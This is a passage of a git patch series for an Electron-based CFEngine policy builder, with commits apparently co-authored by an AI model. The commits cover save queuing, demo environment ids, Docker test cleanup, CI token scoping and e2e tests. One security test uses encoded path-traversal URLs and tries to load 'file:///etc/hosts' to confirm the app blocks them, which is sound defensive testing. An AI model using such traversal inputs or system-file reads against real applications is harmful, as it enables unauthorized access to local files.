useDraft(environment.version, text => { + const value = text.trim() || 'latest'; + if (value !== environment.version) onChange({ version: value }); + }); const envFile = useDraft(environment.envFile ?? '', text => { const value = text.trim() || null; if (value !== environment.envFile) onChange({ envFile: value }); @@ -66,9 +70,10 @@ export function EnvironmentSettingsDialog(props: EnvironmentSettingsDialogProps) onChange({ version: event.target.value.trim() || 'latest' })} + onChange={event => version.setDraft(event.target.value)} + onBlur={version.flush} helperText="latest, or e.g. 3.27.1" sx={{ flex: 1 }} /> From f7e5bda164c1b69337b417bd8a8d8d98ca5eaa4e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:40:24 +0300 Subject: [PATCH 129/141] Saving while another save runs now saves after it instead of doing nothing Save, Build and Save-and-continue returned false with no message while a save was in flight. They now wait for it, then save what changed since. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/project/useProjectSession.test.ts | 37 ++++++++++++++++++- src/renderer/src/project/useProjectSession.ts | 36 +++++++++++------- 2 files changed, 58 insertions(+), 15 deletions(-) diff --git a/src/renderer/src/project/useProjectSession.test.ts b/src/renderer/src/project/useProjectSession.test.ts index 1b31408..53f345e 100644 --- a/src/renderer/src/project/useProjectSession.test.ts +++ b/src/renderer/src/project/useProjectSession.test.ts @@ -1,9 +1,44 @@ +import { type ComponentProps, type ReactNode, createElement } from 'react'; +import { Provider } from 'react-redux'; + +import { act, renderHook } from '@testing-library/react'; + import { createAppStore } from '../store'; import { blockMoved } from '../store/canvasSlice'; import { fileRenamed, fileSelected } from '../store/filesSlice'; import { projectCreated } from '../store/projectSlice'; import { addBlock, addFile } from '../store/test/storeTestUtils'; -import { isEdited } from './useProjectSession'; +import { installApi, uninstallApi } from '../test/render'; +import { isEdited, useProjectSession } from './useProjectSession'; + +describe('useProjectSession', () => { + afterEach(uninstallApi); + + it('runs a save asked for while another is running after it, with what changed since', async () => { + const replies: (() => void)[] = []; + const saveProject = vi.fn(() => new Promise<{ masterfiles: null; ok: true }>(resolve => replies.push(() => resolve({ ok: true, masterfiles: null })))); + installApi({ saveProject }); + const store = createAppStore(); + store.dispatch(projectCreated({ name: 'Demo', path: '/p' })); + const { result } = renderHook(() => useProjectSession(), { + wrapper: ({ children }: { children: ReactNode }) => createElement(Provider, { store } as ComponentProps, children) + }); + + let first!: Promise; + let second!: Promise; + act(() => { + first = result.current.save(); + second = result.current.save(); + }); + await act(async () => {}); + expect(saveProject).toHaveBeenCalledTimes(1); + await act(async () => replies[0]()); + expect(await first).toBe(true); + expect(saveProject).toHaveBeenCalledTimes(2); + await act(async () => replies[1]()); + expect(await second).toBe(true); + }); +}); describe('isEdited', () => { const setup = () => { diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts index c79c014..675c090 100644 --- a/src/renderer/src/project/useProjectSession.ts +++ b/src/renderer/src/project/useProjectSession.ts @@ -8,7 +8,7 @@ import { projectFilesInitialized } from '../store/filesSlice'; import { UNDOABLE_KEYS, historyCleared } from '../store/history'; import { projectCreated, projectLoaded, projectLocated, projectTypeChanged } from '../store/projectSlice'; import { selectCurrentProject } from '../store/projectSlice/selectors'; -import type { ProjectType } from '../store/projectSlice/types'; +import type { Project, ProjectType } from '../store/projectSlice/types'; import { type ProjectData, loadCfbsProject, toCfbsProject } from './cfbsProject'; import { moduleNameFor } from './moduleName'; @@ -44,7 +44,7 @@ export function useProjectSession() { const [projectDialog, setProjectDialog] = useState<'new' | 'saveAs' | null>(null); const [pendingAction, setPendingAction] = useState<(() => void) | null>(null); const [error, setError] = useState(null); - const saving = useRef(false); + const saving = useRef | null>(null); // Resolves the save a "Save Project As" dialog was opened for. const saveAsDone = useRef<((saved: boolean) => void) | null>(null); @@ -105,21 +105,12 @@ export function useProjectSession() { return result; }; - // Resolves with whether the project ended up saved. - const save = async (): Promise => { - const current = store.getState().project; - if (!current || !window.api || saving.current) return false; - if (!current.path) { - saveAsDone.current?.(false); - setProjectDialog('saveAs'); - return new Promise(resolve => (saveAsDone.current = resolve)); - } - saving.current = true; + const write = async (current: Project & { path: string }, api: NonNullable): Promise => { const data = snapshotOf(store.getState()); try { const content = toCfbsProject(data, current); // The stored type is what cfbs.json becomes: a type change in Project Settings converts it here. - const result = await window.api.saveProject(current.path, content, { masterfiles: current.masterfiles, type: current.type }); + const result = await api.saveProject(current.path, content, { masterfiles: current.masterfiles, type: current.type }); if (!result.ok) throw new Error(result.message); // A conversion to a policy set brings masterfiles: show the version it got. if (result.masterfiles !== current.masterfiles) dispatch(projectTypeChanged({ masterfiles: result.masterfiles, type: current.type })); @@ -128,8 +119,25 @@ export function useProjectSession() { } catch (cause) { setError(`Couldn’t save the project: ${errorMessage(cause)}`); return false; + } + }; + + // Resolves with whether the project ended up saved. One already running is waited for, then this one saves. + const save = async (): Promise => { + while (saving.current) await saving.current; + const current = store.getState().project; + if (!current || !window.api) return false; + if (!current.path) { + saveAsDone.current?.(false); + setProjectDialog('saveAs'); + return new Promise(resolve => (saveAsDone.current = resolve)); + } + const run = write({ ...current, path: current.path }, window.api); + saving.current = run; + try { + return await run; } finally { - saving.current = false; + saving.current = null; } }; From b7b6042688470e9d05b34fa57f127edf9f70ad1a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:41:39 +0300 Subject: [PATCH 130/141] A malformed project.json now says so instead of showing a raw TypeError Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/project/cfbsProject.test.ts | 9 +++++++++ src/renderer/src/project/cfbsProject.ts | 10 ++++++++++ 2 files changed, 19 insertions(+) diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index fe251fc..74d2d6d 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -236,6 +236,15 @@ describe('loadCfbsProject', () => { expect(() => loadCfbsProject(json, builder, 'x')).toThrow(); }); + it.each([ + ['a null block', { files: [{ id: 'f1', blocks: [null] }] }], + ['a null folder', { folders: [null], files: [{ id: 'f1', path: './a.cf' }] }] + ])('names the builder data, not a TypeError, for %s', (_what, builder) => { + expect(() => loadCfbsProject({ build: [] }, { schema_version: SCHEMA_VERSION, ...builder }, 'x')).toThrow( + 'The project’s builder data (.policy-builder/project.json) is malformed' + ); + }); + it('tolerates corrupt per-file lists', () => { const file = { id: 'f1', name: 'A', bundle: 'a', path: './a.cf', blocks: 'oops', layout: 'oops' }; const { data } = loadCfbsProject({ build: [] }, { schema_version: SCHEMA_VERSION, files: [file] }, 'x'); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index a733c43..a0ad4d5 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -264,6 +264,16 @@ export function fromBuilderProject(json: unknown): ProjectData { if (!isObject(json)) throw new Error('The project’s builder data (.policy-builder/project.json) is not a JSON object'); const project = json as unknown as ProjectMeta; checkSchemaVersion(project.schema_version); + try { + return readBuilderProject(project); + } catch (cause) { + // A wrong type somewhere inside (hand-edited or corrupt): say which file, not the TypeError. + if (cause instanceof TypeError) throw new Error('The project’s builder data (.policy-builder/project.json) is malformed', { cause }); + throw cause; + } +} + +function readBuilderProject(project: ProjectMeta): ProjectData { const folders = listOf(project.folders); const modules = listOf(project.files) .filter(file => isObject(file) && typeof file.id === 'string') From 498ffb8a1143c0a7f99a02158c05154c109f0718 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:44:56 +0300 Subject: [PATCH 131/141] A project saved from the demo gets a test environment id of its own It kept the demo's fixed id, so it shared the demo's containers and run state. Save As now gives it a fresh one (and clears undo, which would bring the demo's back); the demo itself keeps its fixed id. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/demo/nginxDemoProject.ts | 5 +++- .../src/project/useProjectSession.test.ts | 30 +++++++++++++++++-- src/renderer/src/project/useProjectSession.ts | 22 ++++++++++++-- .../src/store/testEnvironmentsSlice/index.ts | 7 ++++- 4 files changed, 56 insertions(+), 8 deletions(-) diff --git a/src/renderer/src/demo/nginxDemoProject.ts b/src/renderer/src/demo/nginxDemoProject.ts index bce4f48..8f5961d 100644 --- a/src/renderer/src/demo/nginxDemoProject.ts +++ b/src/renderer/src/demo/nginxDemoProject.ts @@ -295,6 +295,9 @@ const POSITIONS: Record = { }; const positionOf = (block: DemoBlock) => POSITIONS[block.label] ?? { x: 0, y: 0 }; +// The demo's test environment, the same every session; a project saved from the demo gets its own. +export const DEMO_ENVIRONMENT_ID = 'demo-web-server'; + export function createNginxDemoProject(dispatch: AppDispatch): void { const describe = (fileId: string, description: string) => dispatch(fileDescriptionChanged({ fileId, description })); dispatch(projectCreated({ name: 'Nginx Web Server Demo' })); @@ -368,7 +371,7 @@ export function createNginxDemoProject(dispatch: AppDispatch): void { // One Ubuntu host serving the landing page on http://localhost:8080/. Fixed ids: every demo // session finds the same container again (Docker labels carry them) instead of orphaning it. const demoEnvironment = newEnvironment('Demo web server', { id: 'demo-web', name: 'web', ports: [{ host: 8080, container: 80 }] }); - dispatch(environmentAdded({ ...demoEnvironment, id: 'demo-web-server', hub: 'demo-web' })); + dispatch(environmentAdded({ ...demoEnvironment, id: DEMO_ENVIRONMENT_ID, hub: 'demo-web' })); // Adding a file opens it; the demo opens on the web server. dispatch(fileSelected({ fileId: webserverFileId })); dispatch(historyCleared()); diff --git a/src/renderer/src/project/useProjectSession.test.ts b/src/renderer/src/project/useProjectSession.test.ts index 53f345e..1e2537b 100644 --- a/src/renderer/src/project/useProjectSession.test.ts +++ b/src/renderer/src/project/useProjectSession.test.ts @@ -3,6 +3,7 @@ import { Provider } from 'react-redux'; import { act, renderHook } from '@testing-library/react'; +import { DEMO_ENVIRONMENT_ID } from '../demo/nginxDemoProject'; import { createAppStore } from '../store'; import { blockMoved } from '../store/canvasSlice'; import { fileRenamed, fileSelected } from '../store/filesSlice'; @@ -14,15 +15,18 @@ import { isEdited, useProjectSession } from './useProjectSession'; describe('useProjectSession', () => { afterEach(uninstallApi); + const render = (store: ReturnType) => + renderHook(() => useProjectSession(), { + wrapper: ({ children }: { children: ReactNode }) => createElement(Provider, { store } as ComponentProps, children) + }).result; + it('runs a save asked for while another is running after it, with what changed since', async () => { const replies: (() => void)[] = []; const saveProject = vi.fn(() => new Promise<{ masterfiles: null; ok: true }>(resolve => replies.push(() => resolve({ ok: true, masterfiles: null })))); installApi({ saveProject }); const store = createAppStore(); store.dispatch(projectCreated({ name: 'Demo', path: '/p' })); - const { result } = renderHook(() => useProjectSession(), { - wrapper: ({ children }: { children: ReactNode }) => createElement(Provider, { store } as ComponentProps, children) - }); + const result = render(store); let first!: Promise; let second!: Promise; @@ -38,6 +42,26 @@ describe('useProjectSession', () => { await act(async () => replies[1]()); expect(await second).toBe(true); }); + + it('gives a project saved from the demo an environment id of its own', async () => { + const createProject = vi.fn(async () => ({ ok: true as const, masterfiles: null, path: '/p/copy' })); + installApi({ createProject }); + const store = createAppStore(); + const result = render(store); + act(() => result.current.startDemo()); + expect(store.getState().testEnvironments[0].id).toBe(DEMO_ENVIRONMENT_ID); + + act(() => void result.current.save()); + const values = { description: '', folderName: 'copy', git: false, masterfiles: '3.27.0', name: 'Copy', parent: '/p', type: 'policy-set' as const }; + await act(async () => void (await result.current.submitProjectDialog(values))); + const [id] = store.getState().testEnvironments.map(environment => environment.id); + expect(id).not.toBe(DEMO_ENVIRONMENT_ID); + expect(createProject).toHaveBeenCalledWith(expect.objectContaining({ testEnvironments: [expect.objectContaining({ id })] })); + expect(result.current.dirty).toBe(false); + + act(() => result.current.startDemo()); + expect(store.getState().testEnvironments[0].id).toBe(DEMO_ENVIRONMENT_ID); + }); }); describe('isEdited', () => { diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts index 675c090..23d2c86 100644 --- a/src/renderer/src/project/useProjectSession.ts +++ b/src/renderer/src/project/useProjectSession.ts @@ -2,13 +2,14 @@ import { useRef, useState } from 'react'; import { useStore } from 'react-redux'; import type { ProjectFormValues, SubmitResult } from '../components/dialogs/NewProjectDialog'; -import { createNginxDemoProject } from '../demo/nginxDemoProject'; +import { DEMO_ENVIRONMENT_ID, createNginxDemoProject } from '../demo/nginxDemoProject'; import { type RootState, createAppStore, useAppDispatch, useAppSelector } from '../store'; import { projectFilesInitialized } from '../store/filesSlice'; import { UNDOABLE_KEYS, historyCleared } from '../store/history'; import { projectCreated, projectLoaded, projectLocated, projectTypeChanged } from '../store/projectSlice'; import { selectCurrentProject } from '../store/projectSlice/selectors'; import type { Project, ProjectType } from '../store/projectSlice/types'; +import { environmentIdChanged } from '../store/testEnvironmentsSlice'; import { type ProjectData, loadCfbsProject, toCfbsProject } from './cfbsProject'; import { moduleNameFor } from './moduleName'; @@ -78,14 +79,29 @@ export function useProjectSession() { const saveProjectAs = async (values: ProjectFormValues): Promise => { if (!window.api || !values.parent) return { ok: false, message: 'Saving needs the desktop app', details: '' }; - const data = snapshotOf(store.getState()); + const current = snapshotOf(store.getState()); + // A copy of the demo gets an environment of its own: the demo's fixed id would share its containers and runs. + const renewed = current.testEnvironments.some(environment => environment.id === DEMO_ENVIRONMENT_ID) ? crypto.randomUUID() : null; + const data = renewed + ? { + ...current, + testEnvironments: current.testEnvironments.map(environment => + environment.id === DEMO_ENVIRONMENT_ID ? { ...environment, id: renewed } : environment + ) + } + : current; const moduleName = moduleNameFor(values.name); const content = toCfbsProject(data, { description: values.description, moduleName, name: values.name }); const result = await window.api.createProject({ ...values, parent: values.parent, ...content }); if (!result.ok) return result; const { description, name, type } = values; dispatch(projectLocated({ description, masterfiles: result.masterfiles, moduleName, name, path: result.path, type })); - markSaved(data); + if (renewed) { + dispatch(environmentIdChanged({ environmentId: DEMO_ENVIRONMENT_ID, id: renewed })); + // Undo would bring the demo's id back. + dispatch(historyCleared()); + } + markSaved({ ...data, testEnvironments: store.getState().testEnvironments }); return { ok: true }; }; diff --git a/src/renderer/src/store/testEnvironmentsSlice/index.ts b/src/renderer/src/store/testEnvironmentsSlice/index.ts index 309fa5b..1a39a36 100644 --- a/src/renderer/src/store/testEnvironmentsSlice/index.ts +++ b/src/renderer/src/store/testEnvironmentsSlice/index.ts @@ -27,6 +27,11 @@ const testEnvironmentsSlice = createSlice({ const environment = find(state, action.payload.environmentId); if (environment) Object.assign(environment, action.payload.changes); }, + // A new identity: its containers and runs are another environment's from now on. + environmentIdChanged(state, action: PayloadAction<{ environmentId: string; id: string }>) { + const environment = find(state, action.payload.environmentId); + if (environment) environment.id = action.payload.id; + }, hubChanged(state, action: PayloadAction<{ environmentId: string; hostId: string }>) { const environment = find(state, action.payload.environmentId); if (environment?.hosts.some(host => host.id === action.payload.hostId)) environment.hub = action.payload.hostId; @@ -68,6 +73,6 @@ const testEnvironmentsSlice = createSlice({ } }); -export const { environmentAdded, environmentChanged, hubChanged, hostAdded, hostRemoved, hostRenamed, hostChanged, envVarsChanged } = +export const { environmentAdded, environmentChanged, environmentIdChanged, hubChanged, hostAdded, hostRemoved, hostRenamed, hostChanged, envVarsChanged } = testEnvironmentsSlice.actions; export default testEnvironmentsSlice.reducer; From dbc423b6d086bb6f3092a925bcd071a7727fdd0a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:45:35 +0300 Subject: [PATCH 132/141] e2e: Docker cleanup no longer removes demo containers the suite didn't create A skip in beforeAll still runs afterAll, which removed the user's own demo containers. Cleanup now runs only once beforeAll found none. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/test-environments.spec.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/e2e/test-environments.spec.ts b/e2e/test-environments.spec.ts index 2f08690..351c0d6 100644 --- a/e2e/test-environments.spec.ts +++ b/e2e/test-environments.spec.ts @@ -54,14 +54,18 @@ test.describe('with Docker', () => { // The first run pulls the base image and installs CFEngine; later ones reuse the cached image. test.setTimeout(900_000); + // Set once no demo containers existed before: only then are the ones found later ours to remove. + let owned = false; + test.beforeAll(() => { // The demo's containers have fixed labels: don't take over (and then destroy) someone's own. test.skip(demoContainers().length > 0, `the demo's containers (label cfpb.env=${DEMO_ENV}) already exist`); + owned = true; }); test.afterAll(() => { - // Even after a failure: no container or network left behind. - if (!dockerUp()) return; + // Even after a failure: no container or network of ours left behind. + if (!owned || !dockerUp()) return; const containers = demoContainers(); if (containers.length) docker('rm', '-f', ...containers); const networks = docker('network', 'ls', '-q', '--filter', `label=cfpb.env=${DEMO_ENV}`).split('\n').filter(Boolean); From 0dc8c5dad3259639cff4151b0f42f47cbee85dc1 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:46:55 +0300 Subject: [PATCH 133/141] Coverage: Pull requests from forks no longer run the Codecov upload On a fork's pull request the repository owner is still cfengine, so the check let them through, and the OIDC upload failed. Only pushes and pull requests from this repository run now. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/coverage.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/coverage.yml b/.github/workflows/coverage.yml index 2c4a064..1896449 100644 --- a/.github/workflows/coverage.yml +++ b/.github/workflows/coverage.yml @@ -2,7 +2,7 @@ name: Coverage # Measures test coverage and uploads it to Codecov, one flag per language (badges in README.md). # Codecov's GitHub app authenticates the upload through OIDC: no token, so it runs in the -# org's own repository only (forks get no OIDC token for it). +# org's own repository only, for pushes and same-repository pull requests (forks get no OIDC token). on: push: branches: [main] @@ -19,7 +19,7 @@ concurrency: jobs: typescript: name: TypeScript - if: github.repository_owner == 'cfengine' + if: github.repository_owner == 'cfengine' && (github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository) runs-on: ubuntu-latest steps: - uses: actions/checkout@v7 @@ -38,7 +38,7 @@ jobs: python: name: Python - if: github.repository_owner == 'cfengine' + if: github.repository_owner == 'cfengine' && (github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository) runs-on: ubuntu-latest steps: - uses: actions/checkout@v7 From 9b6f358df5a6d806120f8a373aa6e3f73842e835 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:47:00 +0300 Subject: [PATCH 134/141] Coverage: Only the upload job gets an OIDC token, actions pinned to commits id-token: write covered the whole workflow, including npm ci and the pull request's own tests. The test jobs now hand their reports to an upload job that runs none of the project's code, and the Codecov and setup-uv actions are pinned to commit SHAs. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/coverage.yml | 47 ++++++++++++++++++++++++++++------ 1 file changed, 39 insertions(+), 8 deletions(-) diff --git a/.github/workflows/coverage.yml b/.github/workflows/coverage.yml index 1896449..4a152d3 100644 --- a/.github/workflows/coverage.yml +++ b/.github/workflows/coverage.yml @@ -10,7 +10,6 @@ on: permissions: contents: read - id-token: write concurrency: group: coverage-${{ github.ref }} @@ -29,12 +28,11 @@ jobs: cache: npm - run: npm ci - run: npm run test:coverage - - uses: codecov/codecov-action@v7 + - uses: actions/upload-artifact@v7 with: - use_oidc: true - files: coverage/lcov.info - flags: typescript - fail_ci_if_error: true + name: coverage-typescript + path: coverage/lcov.info + retention-days: 1 python: name: Python @@ -42,12 +40,45 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v7 - - uses: astral-sh/setup-uv@v7 + - uses: astral-sh/setup-uv@37802adc94f370d6bfd71619e3f0bf239e1f3b78 # v7 with: enable-cache: true - run: uv sync --frozen --directory python - run: uv run --no-sync --directory python pytest --cov --cov-report=xml - - uses: codecov/codecov-action@v7 + - uses: actions/upload-artifact@v7 + with: + name: coverage-python + path: python/coverage.xml + retention-days: 1 + + # Only this job gets an OIDC token: it runs none of the project's code or dependencies. + upload: + name: Upload + needs: [typescript, python] + runs-on: ubuntu-latest + permissions: + contents: read + id-token: write + steps: + # Codecov maps the reports' paths onto the repository's files. + - uses: actions/checkout@v7 + with: + persist-credentials: false + - uses: actions/download-artifact@v7 + with: + name: coverage-typescript + path: coverage + - uses: actions/download-artifact@v7 + with: + name: coverage-python + path: python + - uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7 + with: + use_oidc: true + files: coverage/lcov.info + flags: typescript + fail_ci_if_error: true + - uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7 with: use_oidc: true files: python/coverage.xml From 9cb90fa5dc6860cb9b995eaae4105a69ec37f9bd Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:50:44 +0300 Subject: [PATCH 135/141] e2e: Console errors are collected from launch, the main process's too The window's listeners attached only once it was shown, and main-process errors were never looked at. Both are now collected from launch on; the sidecar's stderr, which main forwards as diagnostics, is left out. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/fixtures.ts | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/e2e/fixtures.ts b/e2e/fixtures.ts index e437716..5f6f6a5 100644 --- a/e2e/fixtures.ts +++ b/e2e/fixtures.ts @@ -12,7 +12,7 @@ export const SAVE_TIMEOUT_MS = 20_000; type Fixtures = { app: ElectronApplication; - // Console errors and page errors seen so far; assert it is empty at the end of a test. + // Console errors (main process and windows) and page errors seen so far; assert it is empty at the end of a test. consoleErrors: string[]; // A temp folder for project fixtures, removed after the test. The profile lives in user-data/, // and New Project defaults to projects/ (never the real Documents folder). @@ -32,19 +32,27 @@ export const test = base.extend({ }, // eslint-disable-next-line no-empty-pattern -- Playwright requires the fixtures arg to be destructured consoleErrors: async ({}, provide) => provide([]), - app: async ({ scratchDir }, provide) => { + app: async ({ scratchDir, consoleErrors }, provide) => { const app = await launch(join(scratchDir, 'user-data')); + // From launch on. The sidecar's stderr reaches the main console as diagnostics, not errors. + app.on('console', message => { + if (message.type() === 'error' && !message.text().startsWith('[cfpb-backend]')) consoleErrors.push(`main: ${message.text()}`); + }); + const watch = (page: Page) => { + page.on('console', message => { + if (message.type() === 'error') consoleErrors.push(message.text()); + }); + page.on('pageerror', error => consoleErrors.push(`pageerror: ${error.message}`)); + }; + app.windows().forEach(watch); + app.on('window', watch); await provide(app); // exit() skips the unsaved-changes prompt a plain close() would wait on. await app.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); await app.close(); }, - window: async ({ app, consoleErrors }, provide, testInfo) => { + window: async ({ app }, provide, testInfo) => { const window = await shownWindow(app); - window.on('console', message => { - if (message.type() === 'error') consoleErrors.push(message.text()); - }); - window.on('pageerror', error => consoleErrors.push(`pageerror: ${error.message}`)); await provide(window); if (testInfo.status !== testInfo.expectedStatus) { const path = testInfo.outputPath('failure.png'); From 039d1c062582355ea109ebdccbaf3573b2423ceb Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:55:53 +0300 Subject: [PATCH 136/141] e2e: The encoded traversal check now asks for a path that could escape The URL parser resolved %2e%2e/ before the request, so the handler only ever saw a path inside the renderer. Encoding the slash as well keeps it one segment until the handler decodes it. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/security.spec.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/e2e/security.spec.ts b/e2e/security.spec.ts index bc282ca..b4afc4f 100644 --- a/e2e/security.spec.ts +++ b/e2e/security.spec.ts @@ -44,7 +44,9 @@ test('the page is served from app://, not file://', async ({ window: page }) => // Nothing outside the built renderer is reachable through the scheme, encoded ".." included. const status = (path: string) => page.evaluate(url => fetch(url).then(response => response.status), `app://bundle/${path}`); expect(await status('index.html')).toBe(200); - expect(await status('%2e%2e/main/index.js')).toBe(404); + // One segment to the URL parser (a bare %2e%2e would be resolved before the request); + // decoded after normalising, it would be ../main/index.js, which exists. + expect(await status('%2e%2e%2fmain%2findex.js')).toBe(404); expect(await status('..%2fmain%2findex.js')).toBe(404); }); From e921744cccaca1704bc095d9e2487651edddc489 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:56:03 +0300 Subject: [PATCH 137/141] e2e: The navigation check waits for Chromium's refusal, not a fixed 500 ms Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/security.spec.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/e2e/security.spec.ts b/e2e/security.spec.ts index b4afc4f..b1090f6 100644 --- a/e2e/security.spec.ts +++ b/e2e/security.spec.ts @@ -85,10 +85,12 @@ test('web permissions are denied', async ({ window: page }) => { test('the page can neither navigate away nor open windows', async ({ app, window: page }) => { const url = page.url(); + // Chromium refuses a file: page from app:, and says so on the console: then the attempt is over. + const refused = page.waitForEvent('console', message => message.text().includes('Not allowed to load local resource: file:///etc/hosts')); await page.evaluate(() => { window.location.href = 'file:///etc/hosts'; }); - await page.waitForTimeout(500); + await refused; expect(page.url()).toBe(url); expect(await page.evaluate(() => window.open('file:///etc/hosts') === null)).toBe(true); expect(await app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows().length)).toBe(1); From 16ce01ea7883a052ee726ce899360d5b4ba7c9c0 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:56:39 +0300 Subject: [PATCH 138/141] Shortened header comments to the house style Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/components/DeploymentView.tsx | 5 ++--- src/renderer/src/components/TestResultsView.tsx | 6 ++---- src/renderer/src/project/cfbsProject.ts | 8 ++------ src/renderer/src/project/testRuns.ts | 6 ++---- 4 files changed, 8 insertions(+), 17 deletions(-) diff --git a/src/renderer/src/components/DeploymentView.tsx b/src/renderer/src/components/DeploymentView.tsx index c88895c..3ce69e7 100644 --- a/src/renderer/src/components/DeploymentView.tsx +++ b/src/renderer/src/components/DeploymentView.tsx @@ -167,9 +167,8 @@ function RunPanel(props: { activity: Activity; gitFailure: Failure | null; gitSt } /** - * The Deployment tab: pre-flight checks (saved, valid, tested, committed, pushed), then the ways - * to deploy as tabs named with their status, each with its one action — a git repository, a hub over SSH, or an - * Enterprise hub — with the run's progress and outcome docked at the bottom. + * The Deployment tab: pre-flight checks, then one tab per way to deploy (git, a hub over SSH, + * an Enterprise hub), with the run's progress and outcome docked at the bottom. */ export function DeploymentView({ compiled, diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index b3d4ebf..7b1be52 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -55,10 +55,8 @@ function problemOf(environment: TestEnvironment, support: PlatformSupport | null } /** - * The Test Results & Logs tab: a test environment of Docker hosts running the - * generated policy (current edits, not the saved files). Start creates and - * bootstraps the hosts; Deploy & run rebuilds, deploys to the hub and runs the - * agent everywhere until it converges. + * The Test Results & Logs tab: Docker hosts running the current edits' policy. Deploy & run sets + * up any missing host, deploys to the hub and runs the agent everywhere until it converges. */ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, id: string) => void }) { const dispatch = useAppDispatch(); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index a0ad4d5..30a699c 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -14,12 +14,8 @@ import type { TestEnvironment } from '../store/testEnvironmentsSlice/types'; import { moduleNameFor } from './moduleName'; /** - * The builder's state on disk: a normal cfbs project that mirrors the file - * tree — each top-level policy file is a local file module, each top-level - * folder one local directory module (what `cfbs add` writes for them) — and - * all of the builder's own data, folders and every file's canvas, in - * `.policy-builder/project.json`, so cfbs.json stays plain cfbs. Each save - * also writes the generated .cf files (main process, via the sidecar). + * The builder's state on disk: a plain cfbs project (one local module per top-level file or folder), + * and the builder's own data in `.policy-builder/project.json`. */ // 2: groups compile into bundles of their own (`groups`), arrows may end on them. diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts index 8e4f4bc..bfbb2de 100644 --- a/src/renderer/src/project/testRuns.ts +++ b/src/renderer/src/project/testRuns.ts @@ -4,10 +4,8 @@ import type { TestEnvironment } from '../store/testEnvironmentsSlice/types'; import { contentKey } from './useCompiledPolicy'; /** - * What the test environments are doing right now, per environment: the action - * running, its streamed log, host states, run results and the hub's Mission - * Portal details. Kept outside React (and Redux: none of it is project data), - * so it survives switching tabs; the sidecar's events arrive here once. + * What each test environment is doing right now (action, log, hosts, results). Kept outside + * React and Redux (it isn't project data), so it survives switching tabs. */ type Api = NonNullable; From 8ed7be8fc8cde82c9cacbd925c2766655cec4057 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 18:02:51 +0300 Subject: [PATCH 139/141] Offline, the masterfiles version fallback is logged as a warning It's expected without a network and the app carries on with built-in versions, but as an error it failed every e2e test run offline. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/project.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/project.ts b/src/main/project.ts index 184bca2..cce565f 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ 